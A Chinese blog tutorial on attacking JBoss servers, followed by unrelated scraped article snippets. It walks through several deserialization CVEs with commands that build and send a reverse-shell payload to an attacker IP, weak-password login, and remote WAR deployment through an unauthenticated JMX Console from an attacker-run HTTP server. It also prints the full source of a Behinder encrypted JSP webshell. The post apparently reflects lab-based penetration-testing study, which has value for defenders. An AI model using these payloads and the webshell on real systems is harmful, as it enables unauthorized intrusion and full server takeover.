当前位置: 首页 > news >正文

服务攻防——中间件Jboss

文章目录

  • 一、Jboss简介
  • 二、Jboss渗透
    • 2.1 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
    • 2.2 JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
    • 2.3 JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
    • 2.4 Administration Console 弱口令
    • 2.5 JBoss EJBInvokerServle 反序列化漏洞(CVE-2013-4810)
    • 2.6 高版本JMX Console未授权访问
    • 2.7 JMX Console HtmlAdaptor Getshell利用

一、Jboss简介

JBoss是一个基于J2EE的开发源代码的应用服务器,一般与Tomcat或Jetty绑定使用。默认端口:8080、9990

二、Jboss渗透

2.1 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

JBOSS Application Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码

影响版本:JBoss 5.x/6.x

1)验证是否存在该漏洞
访问:https://xxx/invoker/readonly,返回500,则说明存在此漏洞。
在这里插入图片描述

2)漏洞利用
工具:JavaDeserH2HC
在这里插入图片描述
(1)生成ReverseShellCommonsCollectionsHashMap.class

javac -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

在这里插入图片描述
(2)生成ReverseShellCommonsCollectionsHashMap.ser

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.253.9:8888
# ip是nc所在的ip

在这里插入图片描述
(3)利用Map.ser:

curl http://192.168.253.89:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

2.2 JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持Java反序列化!

漏洞影响
Red Hat JBoss A-MQ 6.x版本;BPM Suite (BPMS) 6.x版本;BRMS 6.x版本和5.x版本;Data Grid (JDG) 6.x版本;Data Virtualization (JDV) 6.x版本和5.x版本;Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;Fuse 6.x版本;Fuse Service Works (FSW) 6.x版本;Operations Network (JBoss ON) 3.x版本;Portal 6.x版本;SOA Platform (SOA-P) 5.x版本;Web Server (JWS) 3.x版本;Red Hat OpenShift/xPAAS 3.x版本;Red Hat Subscription Asset Manager 1.3版本。

1)验证漏洞
访问http://xxx/invoker/JMXInvokerServlet,返回如下,说明接口开放,此接口存在反序列化漏洞。
在这里插入图片描述
2)漏洞利用
这里直接利用CVE-2017-12149生成的ser,发送到/invoker/JMXInvokerServlet接口中:

curl http://192.168.253.89:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

2.3 JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

漏洞简介:JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响范围JBoss 4.x 以及之前的所有版本!

正常情况,会出现如下界面:
在这里插入图片描述
验证漏洞是否存在:访问/jbossmq-httpil/HTTPServerILServlet,出现如下页面则存在漏洞!
在这里插入图片描述
漏洞利用:直接利用CVE-2017-12149生成的ser,发送到/jbossmq-httpil/HTTPServerILServlet接口中:

curl http://192.168.253.91:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在这里插入图片描述

2.4 Administration Console 弱口令

Administration Console管理页面存在弱口令,admin:admin,登陆后台上传war包!

1)存在管理页面
在这里插入图片描述
在这里插入图片描述
2)爆破或弱口令登录
admin/admin登录
在这里插入图片描述
3)上传war木马
点击Add a new resource,上传war包
在这里插入图片描述

成功上传dayu.war!!点击创建的war包进入下一层,若状态为stop,点击Start按钮(默认都是start状态,不需要点击Start按钮):
在这里插入图片描述
在这里插入图片描述
4)成功控制
访问:http://192.168.253.89:8080/dayu/dayu.jsp
在这里插入图片描述
或者上传冰蝎一句话jsp:
在这里插入图片描述

2.5 JBoss EJBInvokerServle 反序列化漏洞(CVE-2013-4810)

输入http://x.x.x.x:8080/invoker/EJBInvokerServle能返回结果就可以利用!

与CVE-2015-7501漏洞原理相同,这里详细介绍一下两者的区别,其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

2.6 高版本JMX Console未授权访问

JMX Console默认存在未授权访问,直接点击JBoss主页中的JMX Console链接进入JMX Console页面。
在这里插入图片描述
在JMX Console页面点击jboss.system链接,在Jboss.system页面中点击service=MainDeployer,如下:
在这里插入图片描述
进入service=MainDeployer页面之后,找到methodIndex为17 or 19的deploy 填写远程war包地址进行远程部署:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
Kali部署远程war包地址:python3 -m SimpleHTTPServer 80
在这里插入图片描述
输入Invoke:http://192.168.253.89:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.253.9/dayutest.war
在这里插入图片描述
点击后部署成功!
访问:http://192.168.253.89:8080/dayutest/shell.jsp
在这里插入图片描述
冰蝎成功控制:
在这里插入图片描述

2.7 JMX Console HtmlAdaptor Getshell利用

漏洞原理:此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进入到jmx控制台,并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法,通过向四个参数传入信息,达到上传shell的目的。

  • arg0传入的是部署的war包名字;
  • arg1传入的是上传的文件的文件名;
  • arg2传入的是上传文件的文件格式;
  • arg3传入的是上传文件中的内容。

通过控制这四个参数即可上传shell,控制整台服务器。但是通过实验发现,arg1和arg2可以进行文件的拼接,例如arg1=she,arg2=ll.jsp。这个时候服务器还是会进行拼接,将shell.jsp传入到指定路径下!

影响范围:Jboss 4.x及以下
漏洞复现
1)定位到store位置:http://192.168.253.91:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
在这里插入图片描述
定位到store⽅法,通过向四个参数传入信息,达到上传shell的目。

  • arg1传入的是部署的war包名字;
  • arg2传入的是上传的文件的文件名;
  • arg3传入的是上传文件的文件格式;
  • arg4传入的是上传文件中的内容

写入warjsp内容为冰蝎。
在这里插入图片描述
注意为.jsp

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

部署war包
在这里插入图片描述
成功写入,尝试上线冰蝎:
在这里插入图片描述
自动化渗透测试工具:jexboss

相关文章:

服务攻防——中间件Jboss

文章目录 一、Jboss简介二、Jboss渗透2.1 JBoss 5.x/6.x 反序列化漏洞&#xff08;CVE-2017-12149&#xff09;2.2 JBoss JMXInvokerServlet 反序列化漏洞&#xff08;CVE-2015-7501&#xff09;2.3 JBossMQ JMS 反序列化漏洞&#xff08;CVE-2017-7504&#xff09;2.4 Adminis…...

宏碁F5-572G-59K3笔记本笔记本电脑拆机清灰教程(详解)

1. 前言 我的笔记本开机比较慢&#xff0c;没有固态&#xff0c;听说最近固态比较便宜&#xff0c;就想入手一个&#xff0c;于是拆笔记本看一下有没有可以安的装位置。&#xff08;友情提示&#xff0c;在拆机之前记得洗手并擦干&#xff0c;以防静电损坏电源器件&#xff09…...

基于FPGA的LDPC编译码算法设计基础知识

基于FPGA的LDPC编译码算法设计基础知识 数字电路&#xff08;数电&#xff09;知识模拟电路&#xff08;模电&#xff09;知识1. 放大器1.1. 晶体管放大器1.2. 运算放大器1.3. 管子放大器&#xff08;真空管放大器&#xff09;微处理器/单片机知识其他相关知识 基于FPGA的算法设…...

国际网课平台Udemy上的亚马逊云科技AWS免费高分课程和创建、维护EC2动手实践

亚马逊云科技(AWS)是全球云行业最&#x1f525;火的云平台&#xff0c;在全球经济形势不好的大背景下&#xff0c;通过网课学习亚马逊云科技AWS基础备考亚马逊云科技AWS证书&#xff0c;对于找工作或者无背景转行做AWS帮助巨大。欢迎大家关注小李哥&#xff0c;及时了解世界最前…...

空中交通新动能!2024深圳eVTOL展动力电池展区核心内容抢先看!

空中交通新动能&#xff01;2024深圳eVTOL展动力电池展区核心内容抢先看&#xff01; 关键词&#xff1a;2024深圳eVTOL展 动力电池 高能量密度电池 高性能电池材料 作为2024深圳eVTOL展重要组成部分&#xff0c;2024深圳eVTOL动力电池展将于9月23-25日在深圳坪山燕子湖国际会…...

代码江湖:Python 中的进程与线程

大家好&#xff0c;我是阔升。今天&#xff0c;咱们来聊聊 Python 中的两个"老熟人"——进程和线程。这两个概念可以说是 Python 多任务编程中的"双子星"&#xff0c;既相似又不同&#xff0c;让不少小伙伴们头疼不已。不过别担心&#xff0c;今天我们就来…...

根据H在有限域GF(2^m)上求解生成矩阵G

原理 有时间再补充。 注1&#xff1a;使用高斯消去法。如果Py不为单位阵&#xff0c;则说明进行了列置换&#xff0c;此时G不是系统形式。 注2&#xff1a;校验矩阵H必须是行满秩才存在对应的生成矩阵G&#xff0c;且生成矩阵G通常不唯一。 matlab实现&#xff1a;只做列置…...

Django 实现子模版继承父模板

背景 Django的占位符&#xff0c;如果不继承父模板的内容&#xff0c;会被子模版所覆盖&#xff0c;有些业务场景子模版也需要使用到父模板中的内容 可以使用Django自带的标签{% block super %}来实现此效果 base.html 最基础html&#xff0c;相当于第一层html&#xff0c;bl…...

数据安全治理:从库级权限申请到表级权限申请

背景 随着数据安全意识的提高&#xff0c;企业越来越重视数据治理和权限管理。传统数仓大多对库级别进行读写授权&#xff0c;仅对人工标记的敏感库进行表级别授权&#xff0c;但由于敏感等级是由人为标记&#xff0c;错误率较高&#xff0c;故期望将权限申请流程细化到表级申…...

vue3源码(六)渲染原理-runtime-core

1.依赖关系 runtime-dom 依赖于runtime-core,runtime-core 依赖于reactivity和sharedruntime-core提供跨平台的渲染方法createRenderer&#xff0c;用户可以自己传递节点渲染的渲染方法renderOptions&#xff0c;本身不关心用户使用什么APIruntime-dom提供了为浏览器而生的渲染…...

python拆分Excel数据,自动发邮箱

import pandas as pd import poplib import email from email.header import decode_header from email.parser import Parser df = pd.read_excel("年假明细表.xlsx") depts = df["部门"].unique() for dept in depts: department_df = df[df[&q…...

2024年福州延安中学夏季拿云杯拔尖创新人才素养测试(小高组)

1、选择题 那么&#xff0c;mn的值是&#xff08; &#xff09; A、1243 B、1343 C、4029 D、4049 2、填空题 一副扑克牌共54张&#xff0c;其中1到13点各有 4张&#xff0c;每个数字黑色红色各两张&#xff0c;还有两张王牌&#xff0c;至少要取出&#xff08; &#xff09;…...

ES6 之 Promise 构造函数知识点总结 (四)

Promise 是异步编程的一种解决方案&#xff0c;比传统的解决方案——回调函数和事件——更合理和更强大。它由社区最早提出和实现&#xff0c;ES6 将其写进了语言标准&#xff0c;统一了用法&#xff0c;原生提供了 Promise 对象。 Promise 对象有以下两个特点。 对象的状态不受…...

KIVY 3D Rotating Monkey Head¶

7 Python Kivy Projects (With Full Tutorials) – Pythonista Planet KIVY 3D Rotating Monkey Head kivy 3D 旋转猴子头How to display rotating monkey example in a given layout. Issue #6688 kivy/kivy GitHub 3d 模型下载链接 P99 - Download Free 3D model by …...

测试几个 ocr 对日语的识别情况

测试几个 ocr 对日语的识别情况 1. EasyOCR2. PaddleOCR3. Deepdoc&#xff08;识别pdf中图片&#xff09;4. Deepdoc&#xff08;识别pdf中文字&#xff09;5. Nvidia neva-22b6. Claude 3.5 sonnet 识别图片中的文字7. Claude 3.5 sonnet 识别 pdf 中表格8. OpenAI gpt-4o 识…...

华为机考前准备工作

很多同学在刷完真题后&#xff0c;就直接去考试了&#xff0c;会发现不是卡在了题目的难度上&#xff0c;而是卡在了代码数据的如何输入上。为了避免各位有志之士忽略小细节而导致的前功尽弃&#xff0c;博主特意总结了华为机考试题数据输入的几种情况及其源代码&#xff0c;仅…...

偏差、方差(训练误差,验证误差)

目录 一、偏差、方差&#xff1a;二、正则化参数λ对偏差、方差的影响&#xff1a;三、训练集规模对偏差、方差的影响&#xff1a;四、模型复杂度对偏差、方差的影响&#xff1a;五、方差、偏差如何帮助训练&#xff1a;1.高偏差解决方法&#xff1a;2.高方差解决方法&#xff…...

Retrofit框架源码深度剖析【Android热门框架分析第二弹】

Android热门框架解析&#xff0c;你确定不来看看吗&#xff1f; OkHttp框架源码深度剖析【Android热门框架分析第一弹】 Retrofit框架源码深度剖析【Android热门框架分析第二弹】 什么是Retrofit&#xff1f; 准确来说&#xff0c;Retrofit 是一个 RESTful 的 HTTP 网络请求…...

C++Windows环境搭建(CLion)

文章目录 CLion下载安装CLion下载CLion安装新建项目新建一个文件基础设置字体设置clion中单工程多main函数设置 参考 CLion下载安装 CLion下载 打开网址&#xff1a;https://www.jetbrains.com/clion/download/ 点击Download进行下载。 CLion安装 双击下载好的安装包&…...

【区块链 + 智慧政务】省级一体化区块链平台 | FISCO BCOS应用案例

在加强数字政府建设的大背景下&#xff0c;科大讯飞广泛应用数字技术于政府管理服务&#xff0c;推动政府数字化、智能化运行。同时&#xff0c; 统筹推进业务、数据和技术的融合&#xff0c;提升跨地域、跨层级、跨部门和跨业务的协同管理和服务水平。 当前政务信息化建设中&…...

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...

mongodb源码分析session执行handleRequest命令find过程

mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程&#xff0c;并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令&#xff0c;把数据流转换成Message&#xff0c;状态转变流程是&#xff1a;State::Created 》 St…...

深入理解JavaScript设计模式之单例模式

目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 单例模式&#xff08;Singleton Pattern&#…...

linux arm系统烧录

1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 &#xff08;忘了有没有这步了 估计有&#xff09; 刷机程序 和 镜像 就不提供了。要刷的时…...

C++中string流知识详解和示例

一、概览与类体系 C 提供三种基于内存字符串的流&#xff0c;定义在 <sstream> 中&#xff1a; std::istringstream&#xff1a;输入流&#xff0c;从已有字符串中读取并解析。std::ostringstream&#xff1a;输出流&#xff0c;向内部缓冲区写入内容&#xff0c;最终取…...

WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)

一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解&#xff0c;适合用作学习或写简历项目背景说明。 &#x1f9e0; 一、概念简介&#xff1a;Solidity 合约开发 Solidity 是一种专门为 以太坊&#xff08;Ethereum&#xff09;平台编写智能合约的高级编…...

算法岗面试经验分享-大模型篇

文章目录 A 基础语言模型A.1 TransformerA.2 Bert B 大语言模型结构B.1 GPTB.2 LLamaB.3 ChatGLMB.4 Qwen C 大语言模型微调C.1 Fine-tuningC.2 Adapter-tuningC.3 Prefix-tuningC.4 P-tuningC.5 LoRA A 基础语言模型 A.1 Transformer &#xff08;1&#xff09;资源 论文&a…...

DingDing机器人群消息推送

文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人&#xff0c;点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置&#xff0c;详见说明文档 成功后&#xff0c;记录Webhook 2 API文档说明 点击设置说明 查看自…...

[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.

ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #&#xff1a…...

从 GreenPlum 到镜舟数据库:杭银消费金融湖仓一体转型实践

作者&#xff1a;吴岐诗&#xff0c;杭银消费金融大数据应用开发工程师 本文整理自杭银消费金融大数据应用开发工程师在StarRocks Summit Asia 2024的分享 引言&#xff1a;融合数据湖与数仓的创新之路 在数字金融时代&#xff0c;数据已成为金融机构的核心竞争力。杭银消费金…...